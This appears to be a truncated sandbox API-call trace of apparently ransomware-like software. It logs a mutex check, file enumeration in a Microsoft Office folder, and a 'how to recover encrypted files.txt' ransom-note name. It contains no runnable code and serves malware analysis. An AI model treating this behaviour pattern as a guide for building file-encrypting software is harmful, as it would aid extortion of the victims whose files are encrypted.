[0047.293] GlobalUnlock (hMem=0x44000c) returned 0 [0047.293] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.293] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.293] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.293] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.293] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.293] GlobalUnlock (hMem=0x44000c) returned 0 [0047.293] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.293] GlobalLock (hMem=0x440004) returned 0x553188 [0047.293] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.293] GlobalUnlock (hMem=0x44000c) returned 0 [0047.293] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.293] GlobalUnlock (hMem=0x440004) returned 0 [0047.293] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.293] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.293] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.294] GlobalLock (hMem=0x440004) returned 0x551178 [0047.294] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.294] GlobalUnlock (hMem=0x440004) returned 0 [0047.294] GlobalLock (hMem=0x440004) returned 0x551178 [0047.294] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.294] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.294] GlobalUnlock (hMem=0x440004) returned 0 [0047.294] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.294] GlobalUnlock (hMem=0x44000c) returned 0 [0047.294] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.294] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.294] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.294] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.294] GlobalUnlock (hMem=0x44000c) returned 0 [0047.294] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.294] GlobalLock (hMem=0x440004) returned 0x553188 [0047.294] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.294] GlobalUnlock (hMem=0x44000c) returned 0 [0047.294] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.294] GlobalUnlock (hMem=0x440004) returned 0 [0047.294] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.294] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.294] GlobalLock (hMem=0x440004) returned 0x551178 [0047.294] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.294] GlobalUnlock (hMem=0x440004) returned 0 [0047.294] GlobalLock (hMem=0x440004) returned 0x551178 [0047.294] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.294] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.294] GlobalUnlock (hMem=0x440004) returned 0 [0047.295] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.295] GlobalUnlock (hMem=0x44000c) returned 0 [0047.295] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.295] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.295] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.295] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.295] GlobalUnlock (hMem=0x44000c) returned 0 [0047.295] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.295] GlobalLock (hMem=0x440004) returned 0x553188 [0047.295] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.295] GlobalUnlock (hMem=0x44000c) returned 0 [0047.295] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.295] GlobalUnlock (hMem=0x440004) returned 0 [0047.295] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.295] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.295] GlobalLock (hMem=0x440004) returned 0x551178 [0047.295] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.295] GlobalUnlock (hMem=0x440004) returned 0 [0047.295] GlobalLock (hMem=0x440004) returned 0x551178 [0047.295] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.295] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.295] GlobalUnlock (hMem=0x440004) returned 0 [0047.295] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.295] GlobalUnlock (hMem=0x44000c) returned 0 [0047.295] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.295] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.295] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.295] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.295] GlobalUnlock (hMem=0x44000c) returned 0 [0047.295] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.295] GlobalLock (hMem=0x440004) returned 0x553188 [0047.295] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.295] GlobalUnlock (hMem=0x44000c) returned 0 [0047.295] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.295] GlobalUnlock (hMem=0x440004) returned 0 [0047.296] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.296] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.296] GlobalLock (hMem=0x440004) returned 0x551178 [0047.296] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.296] GlobalUnlock (hMem=0x440004) returned 0 [0047.296] GlobalLock (hMem=0x440004) returned 0x551178 [0047.296] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.296] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.296] GlobalUnlock (hMem=0x440004) returned 0 [0047.296] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.296] GlobalUnlock (hMem=0x44000c) returned 0 [0047.296] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.296] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.296] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.296] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.296] GlobalUnlock (hMem=0x44000c) returned 0 [0047.296] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.296] GlobalLock (hMem=0x440004) returned 0x553188 [0047.296] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.296] GlobalUnlock (hMem=0x44000c) returned 0 [0047.296] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.296] GlobalUnlock (hMem=0x440004) returned 0 [0047.296] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.296] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.296] GlobalLock (hMem=0x440004) returned 0x551178 [0047.296] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.296] GlobalUnlock (hMem=0x440004) returned 0 [0047.296] GlobalLock (hMem=0x440004) returned 0x551178 [0047.296] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.296] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.296] GlobalUnlock (hMem=0x440004) returned 0 [0047.296] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.296] GlobalUnlock (hMem=0x44000c) returned 0 [0047.296] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.296] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.297] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.297] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.297] GlobalUnlock (hMem=0x44000c) returned 0 [0047.297] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.297] GlobalLock (hMem=0x440004) returned 0x553188 [0047.297] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.297] GlobalUnlock (hMem=0x44000c) returned 0 [0047.297] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.297] GlobalUnlock (hMem=0x440004) returned 0 [0047.297] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.297] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.297] GlobalLock (hMem=0x440004) returned 0x551178 [0047.297] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.297] GlobalUnlock (hMem=0x440004) returned 0 [0047.297] GlobalLock (hMem=0x440004) returned 0x551178 [0047.297] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.297] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.297] GlobalUnlock (hMem=0x440004) returned 0 [0047.297] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.297] GlobalUnlock (hMem=0x44000c) returned 0 [0047.297] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.297] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.297] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.297] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.297] GlobalUnlock (hMem=0x44000c) returned 0 [0047.297] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.297] GlobalLock (hMem=0x440004) returned 0x553188 [0047.297] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.297] GlobalUnlock (hMem=0x44000c) returned 0 [0047.297] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.297] GlobalUnlock (hMem=0x440004) returned 0 [0047.297] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.297] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.297] GlobalLock (hMem=0x440004) returned 0x551178 [0047.297] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.298] GlobalUnlock (hMem=0x440004) returned 0 [0047.298] GlobalLock (hMem=0x440004) returned 0x551178 [0047.298] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.298] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.298] GlobalUnlock (hMem=0x440004) returned 0 [0047.298] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.298] GlobalUnlock (hMem=0x44000c) returned 0 [0047.298] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.298] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.298] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.298] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.298] GlobalUnlock (hMem=0x44000c) returned 0 [0047.298] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.298] GlobalLock (hMem=0x440004) returned 0x553188 [0047.298] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.298] GlobalUnlock (hMem=0x44000c) returned 0 [0047.298] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.298] GlobalUnlock (hMem=0x440004) returned 0 [0047.298] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.298] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.298] GlobalLock (hMem=0x440004) returned 0x551178 [0047.298] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.298] GlobalUnlock (hMem=0x440004) returned 0 [0047.298] GlobalLock (hMem=0x440004) returned 0x551178 [0047.298] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.298] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.298] GlobalUnlock (hMem=0x440004) returned 0 [0047.298] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.298] GlobalUnlock (hMem=0x44000c) returned 0 [0047.298] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.298] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.298] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.298] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.298] GlobalUnlock (hMem=0x44000c) returned 0 [0047.298] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.299] GlobalLock (hMem=0x440004) returned 0x553188 [0047.299] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.299] GlobalUnlock (hMem=0x44000c) returned 0 [0047.299] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.299] GlobalUnlock (hMem=0x440004) returned 0 [0047.299] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.299] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.299] GlobalLock (hMem=0x440004) returned 0x551178 [0047.299] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.299] GlobalUnlock (hMem=0x440004) returned 0 [0047.299] GlobalLock (hMem=0x440004) returned 0x551178 [0047.299] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.299] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.299] GlobalUnlock (hMem=0x440004) returned 0 [0047.299] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.299] GlobalUnlock (hMem=0x44000c) returned 0 [0047.299] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.299] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.299] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.299] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.299] GlobalUnlock (hMem=0x44000c) returned 0 [0047.299] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.299] GlobalLock (hMem=0x440004) returned 0x553188 [0047.299] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.299] GlobalUnlock (hMem=0x44000c) returned 0 [0047.299] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.299] GlobalUnlock (hMem=0x440004) returned 0 [0047.299] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.299] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.299] GlobalLock (hMem=0x440004) returned 0x551178 [0047.299] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.299] GlobalUnlock (hMem=0x440004) returned 0 [0047.299] GlobalLock (hMem=0x440004) returned 0x551178 [0047.299] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.299] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.299] GlobalUnlock (hMem=0x440004) returned 0 [0047.300] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.300] GlobalUnlock (hMem=0x44000c) returned 0 [0047.300] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.300] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.300] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.300] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.300] GlobalUnlock (hMem=0x44000c) returned 0 [0047.300] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.300] GlobalLock (hMem=0x440004) returned 0x553188 [0047.300] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.300] GlobalUnlock (hMem=0x44000c) returned 0 [0047.300] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.300] GlobalUnlock (hMem=0x440004) returned 0 [0047.300] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.300] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.300] GlobalLock (hMem=0x440004) returned 0x551178 [0047.300] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.300] GlobalUnlock (hMem=0x440004) returned 0 [0047.300] GlobalLock (hMem=0x440004) returned 0x551178 [0047.300] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.300] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.300] GlobalUnlock (hMem=0x440004) returned 0 [0047.300] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.300] GlobalUnlock (hMem=0x44000c) returned 0 [0047.300] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.300] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.300] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.300] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.300] GlobalUnlock (hMem=0x44000c) returned 0 [0047.300] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.300] GlobalLock (hMem=0x440004) returned 0x553188 [0047.300] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.300] GlobalUnlock (hMem=0x44000c) returned 0 [0047.300] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.300] GlobalUnlock (hMem=0x440004) returned 0 [0047.301] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.301] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.301] GlobalLock (hMem=0x440004) returned 0x551178 [0047.301] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.301] GlobalUnlock (hMem=0x440004) returned 0 [0047.301] GlobalLock (hMem=0x440004) returned 0x551178 [0047.301] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.301] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.301] GlobalUnlock (hMem=0x440004) returned 0 [0047.301] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.301] GlobalUnlock (hMem=0x44000c) returned 0 [0047.301] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.301] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.301] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.301] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.301] GlobalUnlock (hMem=0x44000c) returned 0 [0047.301] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.301] GlobalLock (hMem=0x440004) returned 0x553188 [0047.301] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.301] GlobalUnlock (hMem=0x44000c) returned 0 [0047.301] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.301] GlobalUnlock (hMem=0x440004) returned 0 [0047.301] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.301] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.301] GlobalLock (hMem=0x440004) returned 0x551178 [0047.301] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.301] GlobalUnlock (hMem=0x440004) returned 0 [0047.301] GlobalLock (hMem=0x440004) returned 0x551178 [0047.301] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.301] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.301] GlobalUnlock (hMem=0x440004) returned 0 [0047.306] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.306] GlobalUnlock (hMem=0x44000c) returned 0 [0047.306] CharLowerBuffW (in: lpsz="PJRESC.DLL", cchLength=0xa | out: lpsz="pjresc.dll") returned 0xa [0047.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL", cchWideChar=66, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLLe", lpUsedDefaultChar=0x0) returned 66 [0047.307] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\PJRESC.DLLe", lpUsedDefaultChar=0x0) returned 4 [0047.307] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0047.307] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.307] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.307] CharLowerBuffW (in: lpsz="PRJRES.DLL", cchLength=0xa | out: lpsz="prjres.dll") returned 0xa [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, 